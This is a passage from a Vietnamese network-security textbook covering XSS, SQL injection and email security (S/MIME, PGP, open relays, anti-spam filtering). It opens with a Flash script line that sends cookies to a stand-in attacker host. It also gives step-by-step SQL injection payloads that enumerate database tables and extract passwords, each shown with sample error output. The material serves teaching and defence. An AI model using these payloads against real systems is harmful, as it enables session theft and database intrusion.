GetURL(“javascript:location(‘http://www.attacker.com?newcookie=’
+document.cookie)”)

Đây là một đoạn mã action script được hỗ trợ trong lập trình Flash. Khi Flash được
mở, cookies nạn nhân sẽ bị đánh cắp và truyền về cho hacker.

Trên đây chỉ là 2 ví dụ đơn giản về kiểu tấn công XSS, trên thực tế, Hacker có thể
triển khai rất nhiều cách tấn công XSS. Tuy nhiên, tác hại của XSS hoàn toàn có
thể giảm thiểu nếu người dùng có ý thức cảnh giác tốt.

4.2.2. Cách phòng chống

 Với những dữ liệu, thông tin đầu vào, người thiết kế ứng dụng web cần phải
thực hiện những bước cơ bản sau:

o Tạo ra danh sách thẻ HTML được sử dụng.

o Xóa bỏ thẻ <Script> nếu không dùng đến.

o Lọc ra bất kỳ một đoạn mã JavaScript/VBScript/ActiveX nào.

130
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

o Lọc dấu nháy đơn hay kép.

o Lọc ký tự Null.

 Thực hiện kiểm tra lỗi XSS tự động bằng các phần mềm quét lỗi như N-
Stealth, Acunetix Web Vulnerability Scanner,…

 Đối với người dùng, cần nâng cao nhận thức và tinh thần cảnh giác về nguy
cơ bị tấn công XSS. Ngoài ra, có thể cấu hình trình duyệt để thông báo cho
người dùng khi có một ngôn ngữ kịch bản nào đó yêu cầu được thực thi.

4.3. SQL Injection

4.3.1. SQL Injection

4.3.1.1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở
nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input
trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username
và password, remote execution, dump data và lấy root của SQL server. Công cụ
dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer,
Netscape, Lynx, ...

Nguyên nhân gây ra việc tấn công theo kiểu SQL Injection là:

- Kiểm tra, xác thực các giá trị đầu vào qua giao diện web có nhiều lỗ hổng

- Ứng dụng sử dụng những câu lệnh SQL động, không an toàn

- Ứng dụng có quá nhiều quyền kết nối đến database

4.3.1.2. Mục tiêu tấn công: Là các trang web cho phép submit dữ liệu ở bất kì một
trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

4.3.1.3. Kiểm tra chỗ yếu của trang web: Thử submit các field username,
password hoặc field id, .. bằng chuỗi ký tự

131
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

hi' or 1=1--

Login: hi' or 1=1--

Password: hi' or 1=1--

Theo cách điền thông tin này, câu truy vấn trong trang ASP sẽ là:
SELECT * FROM users WHERE username = 'hi' or 1=1—-' AND password = '[password]';

Kết quả là câu truy vấn có trả lại kết quả và việc đăng nhập thành công

4.3.1.4. Thi hành lệnh bằng SQL Injection: Dưới đây sẽ trình bày cách sử dụng
SQL Injection để lấy các thông tin về database

- Lấy thông tin về hệ quản trị cơ sở dữ liệu: Sử dụng chuỗi ký tự


' and 1 in (SELECT @@version)--

Khi đó thông điệp lỗi trả về:


Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Nov 19 2001 13:23:50 Copyright (c) 1988-
2000 Microsoft Corporation Ente
prise Edition on Windows NT 5.0 (Build 2195: Service Pack 3) ' to a col
umn of data type int.
/login.asp, line 16

Có thể tham chiếu đến phiên bản của SQL Server tại trang web SQLSecurity
(http://sqlsecurity.com/DesktopDefault.aspx?tabid=37), phiên bản 8.00.534 tương
ứng với SQL Server 2000 service pack 2 và chưa được cài hostfix. Phiên bản này
dễ bị tổn thương với các tấn công về bộ dệm trong thủ tục lưu trữ như xp_sprintf,
formatmassage() và raiserror() (http://icat.nist.gov/icat.cfm?cvename=CAN-2002-
0154).

 Lấy tên máy chủ: Sử dụng chuỗi nhập vào


' and 1 in (SELECT @@servername)--

Lúc đó thông điệp lỗi trả về:


Syntax error converting the nvarchar value 'NTHHA' to a column of data type int.

Như vậy, bước đầu tiên ta xác định được tên server là NTHHA

132
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

 Lấy tên database: Sử dụng chuỗi nhập vào


' and 1 in (SELECT db_name())--

Lúc đó thông điệp lỗi trả về


Syntax error converting the nvarchar value 'test' to a column of data type int.

 Xem user đăng nhập: Sử dụng chuỗi nhập vào


' and 1 in (SELECT system_user)--

Lúc đó thông điệp lỗi trả về


Syntax error converting the nvarchar value 'sa' to a column of data type int.

 Lấy tên các bảng trong cơ sở dữ liệu: Để thực hiện điều này ta đưa vào các từ
khoá HAVING và GROUP BY như sau:
a' and 1 in (select top 1 table_name from information_schema.tables)--

Lúc đó thông điệp lỗi trả về


Syntax error converting the nvarchar value 'login' to a column of data type int.

Bảng đầu tiên của cơ sở dữ liệu là login. Dựa vào thông tin này, ta lấy ra bảng tiếp
theo dựa theo chuỗi đưa vào như sau:
a' and 1 in (select top 1 table_name from information_schema.tables where table_name not in ('login'))--

Để lấy hết các bảng ta thực hiện lặp lại công việc trên cho đến khi ko ra màn hình
lỗi

 Lấy thông tin các cột trong bảng: Sử dụng chuỗi nhập vào
'; select * from login having 1=1--

Lúc đó thông điệp lỗi trả về


Column 'login.id' is invalid in the select list because it is not contained in an aggregate function and there is no
GROUP BY clause. Column 'login.name' is invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause. Column 'login.password' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.

133
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Lúc này ta xác định được bảng login có các cột là: ID, NAME, PASSWORD. Lặp
lại công việc này với toàn bộ các bảng đã được trích ra ở bước trên.

 Xem dữ liệu trong bảng: Sử dụng chuỗi nhập vào


'; select 1 union select min(name) from login --
'; select 1 union select min(password) from login --

Lúc đó thông điệp lỗi trả về


Syntax error converting the varchar value 'admin' to a column of data type int.
Syntax error converting the varchar value 'nE1410s' to a column of data type int.
Kết quả dữ liệu bảng login như sau:
Id Name Password
1 admin nE1410s
2 Client1 e452ks

 Time delays

Những ví dụ ở trên về kỹ thuật SQL injection được thực hiện khi các ứng dụng
client có thể xem các thông điệp lỗi được trả lại bởi webserver mà thường thì các
webserver được cấu hình để không trả lại các thông điệp lỗi. Trong trường hợp kẻ
tấn công nghi ngờ một trang web là dễ bị hack bởi kỹ thuật SQL injection mà
không thể xem bất kỳ các thông điệp lỗi trả về từ webserver đó. Cách thức này sẽ
kiểm tra các phán đoán thông qua thời gian phản hồi từ webserver để biết rằng
thông tin phán đoán đó là đúng hay sai.
if (is_srvrolemember('sysadmin') > 0) waitfor delay '0:0:5'

 Xác thực qua câu lệnh OPENROWSET

Là cách xác thực thông qua câu lệnh OPENROWSET. Cách này được sử dụng từ
một csdl trên máy khác để tấn công khi biết mật khẩu truy cập, ví dụ:
select * from OPENROWSET('MSDASQL','DRIVER={SQL Server}; SERVER=; uid=sa; pwd=password','select
@@version')

4.3.1.5. Giải pháp đề phòng tấn công theo kiểu SQL Injection

Việc tấn công dựa trên kỹ thuật SQL Injection dựa vào những câu thông báo lỗi do
đó việc phòng chống tốt nhất vẫn là không cho hiển thị những thông điệp lỗi cho
người dùng bằng cách thay thế những lỗi thông báo mặc định bằng một trang do
người phát triển thiết kế.

134
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong
các string nhận được từ:

 input do người dùng đệ trình


 các tham số từ URL
 các giá trị từ cookie
 Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query
SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
 Thay đổi "Startup and run SQL Server" dùng mức low privilege user
trong tab SQL Server Security.
 Xóa các stored procedure trong database master mà không dùng như:
 xp_cmdshell
 xp_startmail
 xp_sendmail
 sp_makewebtask

5. Các biện pháp phòng chống chung

Phòng chống tấn công đối với ứng dụng Web không chỉ là nhiệm vụ của riêng
những người lập trình Web mà cần có sự kết hợp, hỗ trợ của người quản trị hệ
thống và bản thân người dùng. Thiếu một trong ba yếu tố này đều có thể dẫn đến
những rủi ro về thông tin cũng như về an ninh hệ thống.

5.1. Đối với người quản trị hệ thống


- Người quản trị hệ thống cần xác định rõ những đối tượng nào là quan trọng
nhất trong hệ thống cần bảo vệ; xác định rõ mức độ ưu tiên đối với những
đối tượng đó.

135
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ví dụ: các đối tượng cần bảo vệ trong hệ thống có thể là: Các máy chủ dịch
vụ, các router, các điểm truy cập hệ thống, các chương trình ứng dụng, hệ
quản trị CSDL,…

- Người quản trị hệ thống phải cẩn trọng và chính xác trong việc cấu hình
trình chủ và một số ứng dụng. Không nên thiết lập cho ứng dụng chạy với
quyền cao nhất tránh trường hợp Hacker lợi dụng thực thi những câu lệnh
điều khiển hệ thống.

- Xác định nguy cơ đối với hệ thống chính là xác định các lỗ hổng bảo mật
của các dịch vụ, ứng dụng trên hệ thống đó. Việc xác định đúng đắn các
nguy cơ này giúp người quản trị có thể tránh được những cuộc tấn công
mạng, hoặc có biện pháp bảo vệ đúng đắn bằng cách thường xuyên cập nhật
các bản vá lỗi, nâng cấp ứng dụng…

- Phân quyền và kiểm soát chặt chẽ quyền hạn của từng tài khoản trong hệ
thống. Chỉ nên sử dụng quyền Root hoặc administrator khi thật sự cần thiết.
Những tài khoản không dùng cần phải vô hiệu hóa…

- .v.v.

5.2. Đối với người lập trình Web


- Đảm bảo dữ liệu cung cấp từ người dùng là hợp lệ: tất cả các dữ liệu đưa
vào phải được kiểm tra kỹ, loại bỏ hoặc từ chối những ký tự đặc biệt như < >
‘ -- , .v.v.

- Chứng thực người dùng: Nhiều ứng dụng hiện nay quản lý một phiên làm
việc của người dùng bằng Session ID nhưng sự yếu kém trong cách quản lý
một phiên làm việc khiến cho hacker có thể dễ dàng kiểm soát được phiên
làm việc của người dùng như đã đề cập trong phần kỹ thuật tấn công. Vì thế,
đối với một phiên làm việc, ứng dụng cần hủy phiên ngay sau khi trình duyệt
đóng kết nối.

136
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

- Mã hóa dữ liệu quan trọng: Những thông tin quan trọng như
username/password, thông tin tín dụng,… cần được mã hóa để tránh hacker
lấy được nội dung và sử dụng chúng bất hợp pháp như trong các kỹ thuật
XSS…

- .v.v.

5.3. Đối với người sử dụng


- Người sử dụng cần trang bị cho mình kiến thức nhất định về an toàn thông
tin, đặc biệt là những rủi ro khi sử dụng trình duyệt web như XSS,
SessionID…

- Sau khi sử dụng xong ứng dụng web, cần thoát khỏi hệ thống thực sự (sign
out) để những nội dung quan trọng lưu trữ trong cookie bị hủy bỏ.

- Người dùng cần nhận thức được vai trò quan trọng trong việc bảo vệ tài
khoản của mình. Các hoạt động quản lý tài khoản bao gồm việc bảo vệ mật
khẩu, thay đổi mật khẩu định kỳ, …

137
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

CHƯƠNG 3: THƯ ĐIỆN TỬ VÀ CÁC VẤN ĐỀ AN NINH

1. Khái niệm

Trước khi bắt đầu tìm hiểu về các vấn đề an ninh với thư điện tử, chúng ta hãy xem
thử điện tử hoạt động như thế nào. Khái niệm thư điện tử - Email khá đơn giản, đó
là một thông điệp điện tử được truyền đi qua mạng. Các “Email Clients” là các
chương trình được dùng để tạo, gửi, nhận và đọc thư điện tử. Ngày nay, email
chẳng những có thể truyền gửi được chữ, nó còn có thể truyền được các dạng
thông tin khác như hình ảnh, âm thanh, phim, và đặc biệt các phần mềm thư điện
tử kiểu mới còn có thể hiển thị các email dạng sống động tương thích với kiểu tệp
HTML.

Khi một thư điện tử được gửi đi, nó phải qua rất nhiều trạm dừng. Trạm dừng đầu
tiên là Email Server (máy chủ thư điện tử); trong hình minh họa, Email Server là
của nhà cung cấp dịch vụ. Email Server có thể là một máy tính được cài đặt các
ứng dụng như Microsoft Exchange, Lotus Notes, Sendmail hay Mdeamon… Khi
thông điệp được gửi đến, Email Server sẽ phân tích địa chỉ đích cần gửi. Một địa
chỉ thư điện tử có dạng tên_email@tên_miền (ví dụ: anhdh@evn.com.vn). Tiếp đó,
Email Server sẽ thực hiện các thao tác phân giải tên miền để biết được địa chỉ IP
Email Server của tên miền cần gửi (trong ví dụ này, đó là evn.com.vn). Email
Server phía người gửi sẽ chuyển tiếp thư điện tử đến Email Server phía người
nhận. Email Server phía người nhận sau khi nhận được thư điện tử sẽ đặt nó vào
đúng mailbox của người nhận, dựa vào phần tên_email trong địa chỉ thư (ví dụ:
Anhdh).

Trong thực tế, một thư điện tử thông thường muốn đến được với người nhận phải
trải qua rất nhiều thiết bị định tuyến cũng như các môi trường mạng khác nhau. Do
vậy, để bảo vệ thông tin, người ta thường sử dụng các giao thức mã hóa thư điện
tử. Việc mã hóa sẽ giúp đảm bảo thông tin chứa trong thư điện tử không bị đoạt
được bởi một bên thứ ba (Tính bí mật của thông tin - Confidentiality).
Secure/Multipurpose Internet Mail Extensions (S/MIME) và Pretty Good Prevacy
(PGP) là các giao thức/phần mềm mã hóa email được sử dụng phổ biến hiện nay.

2. Giao thức MIME

Trước khi tìm hiểu về S/MIME, chúng ta hãy tìm hiểu thế hệ trước của nó –
MIME. MIME là một phần mở rộng của giao thức Simple Mail Transfer Protocol
138
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

(SMTP), cho phép truyền nhiều loại dữ liệu bao gồm âm thanh, hình ảnh, video và
các loại tệp tin khác trong phần đính kèm của email (attachment). Phần tiêu đề của
MIME (MIME Header) được chèn vào phần đầu của email, chương trình email
client sử dụng MIME header để xác định chương trình nào sẽ được sử dụng để đọc
gói dữ liệu đính kèm. Ví dụ, nếu một tệp tin audio được đính kèm trong một email,
chương trình Email client (vd: Outlook) sẽ xác định phần đuôi mở rộng của tệp tin
audio và sử dụng một chương trình audio player như Windows Media Player để
mở tệp tin.

3. Giao thức bảo mật S/MIME

Vì MIME không cung cấp bất cứ tính năng bảo mật nào, nên các nhà phát triển
của tổ chức RSA Security đã tạo ra S/MIME. Cũng như MIME, S/MIME cũng
chèn header vào phần đầu của email. Tuy nhiên, S/MIME sử dụng header nhằm
đưa vào hai phương pháp an ninh cho email là: Mã hóa và chứng thực. S/MIME sẽ
xem xét phần header của email để xác định các thông tin liên quan đến việc mã hóa
và chứng chỉ điện tử được xử lý thế nào. Email sẽ được mã hóa bằng phương pháp
mã hóa đối xứng, còn mã hóa bất đối xứng được dùng để chứng thực và trao đổi
khóa đối xứng. S/MIME có thể sử dụng với ba thuật toán mã hóa đối xứng là:
DES, 3DES và RC2.

4. Phần mềm PGP

Cũng như S/MIME, Pretty Good Prvacy - PGP là một phần mềm mã hóa được
dùng để mã hóa email và các tệp tin. PGP có cả những phiên bản miễn phí và
phiên bản thương mại. Có thể tìm thấy các thông tin về phiên bản PGP miễn phí tại
địa chỉ www.pgpi.org và phiên bản thương mại tại địa chỉ www.pgp.com . Khi
phần mềm PGP được cài đặt, ta có thể sử dụng chúng dưới dạng plug-in trong các
chương trình Microsoft Outlook, Outlook Express, ICQ, Netscape… để mã hóa,
giải mã, và ký điện tử.

5. Những vấn đề an ninh với thư điện tử

Hiện nay, ước tính mỗi ngày có khoảng 15 tỷ email được truyền đi, và con số đó có
thể tăng lên gấp đôi hoặc ba lần trong vài năm tới. Rõ ràng, email ngày càng trở
nên phổ biến do khả năng đáp ứng nhanh chóng cũng như chi phí hoạt động thấp
hơn rất nhiều so với các loại hình truyền thông khác. Tuy nhiên, kèm theo đó chính

139
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

là những vấn đề về an ninh còn tồn tại của dịch vụ truyền thông này. Đó có thể là
các vấn đề về kỹ thuật như điểm yếu SMTP Relay, điểm yếu ở các phần mềm
Email Client (vd: Microsoft Outlook ); đó cũng có thể các vấn đề xuất phát từ yếu
tố con người như Spam, Phising,…

Giải pháp bảo mật cho các vấn đề kể trên có thể kể đến là: Cấu hình chính xác
Email Server, thường xuyên cập nhật bản vá lỗi cho các phần mềm Email Client,
sử dụng các chương trình chống virus, chống spam và cũng luôn đảm bảo chúng
được cập nhật thường xuyên, đề phòng đối với thư lừa đảo (phising), nâng cao
nhận thức người sử dụng.

5.1. SMTP Relay

Một tính năng của giao thức SMTP là SMTP Relay. SMTP Relay cho phép Mail
Server nhận các email đến và chuyển tiếp chúng đến các Email Server đích. Thông
thường, một tổ chức cần cấu hình để SMTP Server có khả năng relay tất cả các
email đến và đi.

Tính năng này của SMTP phải được cấu hình thật cẩn thận và chính xác. Bởi vì
đây chính là điểm yếu để kẻ xấu lợi dụng phát tán thư rác (Spam). Các Email
Server cấu hình tính năng SMTP Relay không đúng được gọi là Open SMTP
Relay. Các “Spammers” (những kẻ chuyên phát tán thư rác) sẽ tìm kiếm các Open
SMTP Relay Server để thực hiện việc gửi thư rác. Việc phát tán thư rác quá nhiều
từ một tên miền nào đó sẽ khiến tên miền đó bị đặt vào DNS-based BlackHole
List (DNSBL) nhằm ngăn chặn email phát tán từ domain đó.

140
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Tùy vào từng sản phẩm Email Server, chúng ta có các cách cấu hình khác nhau để
không rơi vào tình trạng Open Relay. Tuy nhiên, một lưu ý đối với những nhà quản
trị hệ thống là phải cấu hình thật chính xác chức năng SMTP relay và phải thực
hiện kiểm tra để chắc chắn rằng email server đã được cấu hình chính xác trước khi
đưa vào hoạt động.

5.2. Vấn đề đối với Virus

Microsoft Outlook được coi là mục tiêu tấn công ưa thích của virus, và lý do chính
là do MS Outlook có quá nhiều tính năng (!). Thực tế là một sản phẩm phần mềm
càng nhiều tính năng, càng nhiều khả năng xuất hiện các lỗ hổng có thể lợi dụng
khai thác. Hầu hết các virus email như ILOVEYOU, Melissa, Anna Kornakova
đều tấn công nhằm vào điểm yếu của chương trình MS Outlook. Viruses thường
phát tán dưới dạng phần đính kèm của email. Phần đính kèm có thế là tệp tin nén
(vd: tệp tin RAR), chương trình (ví dụ: tệp tin EXE) hay văn bản (vd: tệp tin XLS).
Khi tệp tin đính kèm được thực thi (mở tệp tin, cài đặt chương trình, giải nén…),
máy tính đó sẽ bị nhiễm virus.

Nhiều chương trình email client cung cấp tính năng “Preview” cho phép người
dùng xem nội dung thông điệp dưới dạng văn bản HTML. Đây cũng là một vấn đề
bảo mật vì máy tính người dùng hoàn toàn có thể bị nhiễm các virus được chèn bên
trong cấu trúc HTML.

Để bảo đảm an toàn, các chương trình email client nên được cài đặt để chỉ đọc
thông tin dạng text thông thường (plain text) hoặc sử dụng các chương trình diệt
virus trước khi đọc email. Và một điểm cần chú ý nữa là luôn phải đảm bảo các
chương trình email client cũng như chương trình diệt virus được cập nhật đầy đủ.

5.3. SPAM

5.3.1. Đặc điểm của SPAM

SPAM là những email không được sự cho phép của người nhận (Unsolicited
email) được gửi đi với số lượng lớn tới hòm thư của người dùng Internet.
SPAM đôi khi còn được xem là những email thương mại không được sự cho phép
của người nhận (UCE – Unsocilited Commercial Email). Spam thường là những
email vô hại và được gửi tới một số lượng lớn người nhận khác nhau. Spam được
gửi với số lượng lớn có thể làm đầy hòm thư của người nhận, nên họ không nhận
được các thư mới. Ngoài ra spam còn chiếm dụng băng thông, có thể gây tắc nghẽn

141
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

đường truyền. Một số loại spam còn chứa nội dung lừa đảo, nhằm mục đích lừa
người dùng cung cấp các thông tin cá nhân như mã số thẻ tín dụng, mật khẩu... -
hay đây chính là một dang phổ biến của lừa đảo trực tuyến (Phishing).

SPAM không những gây khó chịu, phiền hà cho người dùng mà nó còn có thể là
công cụ để thực hiện tấn công từ chối dịch vụ Email Server bằng cách làm tràn
ngập kho lưu trữ (Storage) trên Email Server.

Để tiến hành gửi spam, người gửi (spammer) cần phải có một số lượng lớn các địa
chỉ email người nhận, danh sách có thể lên đến hàng triệu. Các địa chỉ email có thể
được thu thập bằng nhiều cách như: sử dụng các chương trình tự động tìm các địa
chỉ email trên Internet, tấn công vào các diễn đàn để lấy trộm cơ sở dữ liệu về các
thành viên, dùng phương pháp tấn công kiểu từ điển, dùng các tên thông dụng (ví
dụ John, Smith, Steve,...) ghép với hàng ngàn tên miền khác nhau thành các địa chỉ
đúng và có xác suất thành công rất cao.

Spam có đặc điểm là không tốn nhiều chi phí khi gửi đến một số lượng người nhận
lớn, vì thế các spammer không cần sàng lọc các đối tượng nhận thư được gửi trùng
lặp nhiều lần tới cùng một địa chỉ người nhận.

5.3.2. Các phương pháp chống SPAM

Spam gây ra rất nhiều tác hại, do vậy việc phòng chống và ngăn chặn các spam là
cần thiết. Hiện có nhiều công ty phần mềm cung cấp giải pháp chống spam, mỗi
dòng sản phẩm có những tính năng và các ưu nhược điểm riêng, nhưng hầu hết các
sản phẩm đó đều hoạt động dựa vào một số nguyên lý sau:

Sử dụng DNS blacklist

Phương pháp sử dụng DNS black list sẽ chặn các email đến từ các địa chỉ nằm
trong danh sách DNS blacklist. Có hai loại danh sách DNS Blacklist thường được
sử dụng, đó là:

• Danh sách các miền gửi spam đã biết, danh sách các miền này được liệt kê và cập
nhật tại địa chỉ http://spamhaus.org/sbl.

• Danh sách các máy chủ email cho phép hoặc bị lợi dụng thực hiện việc chuyển
tiếp spam được gửi đi từ spammer. Danh sách này được liệt kê và cập nhật thường
xuyên tại địa chỉ http://www.ordb.org. Cơ sở dữ liệu Open Relay Database này
được duy trì bởi ORDB.org là một tổ chức phi lợi nhuận.
142
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Khi một email được gửi đi, nó sẽ đi qua một số SMTP server trước khi chuyển tới
địa chỉ người nhận. Địa chỉ IP của các SMTP server mà email đó đã chuyển qua
được ghi trong phần header của email. Các chương trình chống spam sẽ kiểm tra
tất cả các địa chỉ IP đã được tìm thấy trong phần header của email đó sau đó so
sánh với cơ sở dữ liệu DNS Blacklist đã biết. Nếu địa chỉ IP tìm thấy trong phần
này có trong cơ sở dữ liệu về các DNS Blacklist, nó sẽ bị coi là spam, còn nếu
không, email đó sẽ được coi là một email hợp lệ.

Phương pháp này có ưu điểm là các email có thể được kiểm tra trước khi tải xuống,
do đó tiết kiệm được băng thông đường truyền. Nhược điểm của phương pháp này
là không phát hiện ra được những email giả mạo địa chỉ người gửi.

Sử dụng SURBL list

Phương pháp sử dụng SURBL phát hiện spam dựa vào nội dung của email.
Chương trình chống spam sẽ phân tích nội dung của email xem bên trong nó có
chứa các liên kết đã được liệt kê trong Spam URI Realtime Blocklists (SURBL)
hay không. SURBL chứa danh sách các miền và địa chỉ của các spammer đã biết.
Cơ sở dữ liệu này được cung cấp và cập nhật thường xuyên tại địa chỉ
www.surbl.org.

Có nhiều danh sách SURBL khác nhau như sc.surbl.org, ws.surbl.org, ob.surbl.org,
ab.surbl.org..., các danh sách này được cập nhật từ nhiều nguồn. Thông thường,
người quản trị thường kết hợp các SURBL list bằng cách tham chiếu tới địa chỉ
multi.surbl.org. Nếu một email sau khi kiểm tra nội dung có chứa các liên kết được
chỉ ra trong SURBL list thì nó sẽ được đánh dấu là spam email, còn không nó sẽ
được cho là một email thông thường.

Phương pháp này có ưu điểm phát hiện được các email giả mạo địa chỉ người gửi
để đánh lừa các bộ lọc. Nhược điểm của nó là email phải được tải xuống trước khi
tiến hành kiểm tra, do đó sẽ chiếm băng thông đường truyền và tài nguyên của máy
tính để phân tích các nội dung email.

Kiểm tra người nhận

Tấn công spam kiểu “từ điển” sử dụng các địa chỉ email và tên miền đã biết để tạo
ra các địa chỉ email hợp lệ khác. Bằng kỹ thuật này spammer có thể gửi spam tới
các địa chỉ email được sinh ra một cách ngẫu nhiên. Một số địa chỉ email trong số

143
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

đó có thực, tuy nhiên một lượng lớn trong đó là địa chỉ không tồn tại và chúng gây
ra hiện tượng “lụt” ở các máy chủ mail.

Phương pháp kiểm tra người nhận sẽ ngăn chặn kiểu tấn công này bằng cách chặn
lại các email gửi tới các địa chỉ không tồn tại trên Active Directory hoặc trên máy
chủ mail server trong công ty. Tính năng này sẽ sử dụng Active Directory hoặc
LDAP server để xác minh các địa chỉ người nhận có tồn tại hay không. Nếu số địa
chỉ người nhận không tồn tại vượt quá một ngưỡng nào đó (do người quản trị thiết
lập) thì email gửi tới đó sẽ bị coi là spam và chặn lại.

Kiểm tra địa chỉ

Bằng cách kiểm tra địa chỉ người gửi và người nhận, phần lớn spam sẽ được phát
hiện và chặn lại. Thực hiện kiểm tra địa chỉ người gửi trước khi email được tải
xuống sẽ tiết kiệm được băng thông đường truyền cho toàn hệ thống.

Kỹ thuật Sender Policy Framework (SPF, www.openspf.org) được sử dụng để


kiểm tra địa chỉ người gửi email. Kỹ thuật SPF cho phép chủ sở hữu của một tên
miền Internet sử dụng các bản ghi DNS đặc biệt (gọi là bản ghi SPF) chỉ rõ các
máy được dùng để gửi email từ miền của họ. Khi một email được gửi tới, bộ lọc
SPF sẽ phân tích các thông tin trong trường “From” hoặc “Sender” để kiểm tra địa
chỉ người gửi. Sau đó SPF sẽ đối chiếu địa chỉ đó với các thông tin đã được công
bố trong bản ghi SPF của miền đó xem máy gửi email có được phép gửi email hay
không. Nếu email đến từ một server không có trong bản ghi SPF mà miền đó đã
công bố thì email đó bị coi là giả mạo.

Chặn IP

Phương pháp này sẽ chặn các email được gửi đến từ các địa chỉ IP biết trước. Khi
một email đến, bộ lọc sẽ phân tích địa chỉ máy gửi và so sánh với danh sách địa chỉ
bị chặn. Nếu email đó đến từ một máy có địa chỉ trong danh sách này thì nó sẽ bị
coi là spam, ngược lại nó sẽ được coi là email hợp lệ.

Sử dụng bộ lọc Bayesian

Bộ lọc Bayesian hoạt động dựa trên định lý Bayes để tính toán xác suất xảy ra một
sự kiện dựa vào những sự kiện xảy ra trước đó. Kỹ thuật tương tự như vậy được sử
dụng để phân loại spam. Nếu một số phần văn bản xuất hiện thường xuyên trong
các spam nhưng thường không xuất hiện trong các email thông thường, thì có thể
kết luận rằng email đó là spam.
144
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Trước khi có thể lọc email bằng bộ lọc Bayesian, người dùng cần tạo ra cơ sở dữ
liệu từ khóa và dấu hiệu (như là ký hiệu $, địa chỉ IP và các miền...) sưu tầm từ các
spam và các email không hợp lệ khác.

Mỗi từ hoặc mỗi dấu hiệu sẽ được cho một giá trị xác suất xuất hiện, giá trị này
dựa trên việc tính toán có bao nhiêu từ thường hay sử dụng trong spam, mà trong
các email hợp lệ thường không sử dụng. Việc tính toán này được thực hiện bằng
cách phân tích những email gửi đi của người dùng và phân tích các kiểu spam đã
biết.

Để bộ lọc Bayesian hoạt động chính xác và có hiệu quả cao, cần phải tạo ra cơ sở
dữ liệu về các email thông thường và spam phù hợp với đặc thù kinh doanh của
từng công ty. Cơ sở dữ liệu này được hình thành khi bộ lọc trải qua giai đoạn
“huấn luyện”. Người quản trị phải cung cấp khoảng 1000 email thông thường và
1000 spam để bộ lọc phân tích tạo ra cơ sở dữ liệu cho riêng nó.

Sử dụng danh sách Black/white list

Việc sử dụng các danh sách black list, white list giúp cho việc lọc spam hiệu quả
hơn.

Black list là cơ sở dữ liệu các địa chỉ email và các miền mà bạn không bao giờ
muốn nhận các email từ đó. Các email gửi tới từ các địa chỉ này sẽ bị đánh dấu là
spam.

White list là cơ sở dữ liệu các địa chỉ email và các miền mà bạn mong muốn nhận
email từ đó. Nếu các email được gửi đến từ những địa chỉ nằm trong danh sách này
thì chúng luôn được cho qua.

Thông thường các bộ lọc có tính năng tự học, khi một email bị đánh dấu là spam
thì địa chỉ người gửi sẽ được tự động đưa vào danh sách black list. Ngược lại, khi
một email được gửi đi từ trong công ty thì địa chỉ người nhận sẽ được tự động đưa
vào danh sách white list.

Kiểm tra Header

Phương pháp này sẽ phân tích các trường trong phần header của email để đánh giá
email đó là email thông thường hay là spam. Spam thường có một số đặc điểm
như:

145
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

• Để trống trường From: hoặc trường To: .

• Trường From: chứa địa chỉ email không tuân theo các chuẩn RFC.

• Các URL trong phần header và phần thân của message có chứa địa chỉ IP được
mã hóa dưới dạng hệ hex/oct hoặc có sự kết hợp theo dạng username/password (ví
dụ các địa chỉ: http://00722353893457472/hello.com,
www.citibank.com@scammer.com)

• Phần tiêu đề của email có thể chứa địa chỉ email người nhận để cá nhân hóa email
đó. Lưu ý khi sử dụng tính năng này với các địa chỉ email dùng chung có dạng như
sales@company.com. Ví dụ khi một khách hàng phản hồi bằng cách sử dụng tính
năng auto-reply với tiêu đề “your email to sales” có thể bị đánh dấu là spam

• Gửi tới một số lượng rất lớn người nhận khác nhau.

• Chỉ chứa những file ảnh mà không chứa các từ để đánh lừa các bộ lọc.

• Sử dụng ngôn ngữ khác với ngôn ngữ mà người nhận đang sử dụng.

Dựa vào những đặc điểm này của spam, các bộ lọc có thể lọc chặn.

Sử dụng tính năng Challenge/Response

Tính năng này sẽ yêu cầu người lần đầu gửi email xác nhận lại email đầu tiên mà
họ đã gửi, sau khi xác nhận, địa chỉ email của người gửi được bổ sung vào danh
sách White list và từ đó trở về sau các email được gửi từ địa chỉ đó được tự động
cho qua các bộ lọc.

Do spammer sử dụng các chương trình gửi email tự động và họ không thể xác nhận
lại tất cả các email đã gửi đi, vì thế những email không được xác nhận sẽ bị coi là
spam.

Phương pháp này có hạn chế là nó yêu cầu những người gửi mới phải xác nhận lại
email đầu tiên mà họ gửi. Để khắc phục nhược điểm này, người quản trị chỉ nên sử
dụng phương pháp này đối với những email mà họ nghi ngờ là spam.

5.3.3. Phòng tránh thư rác

146
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

Ngoài việc sử dụng các bộ lọc chống spam, người sử dụng cũng đóng vai trò quan
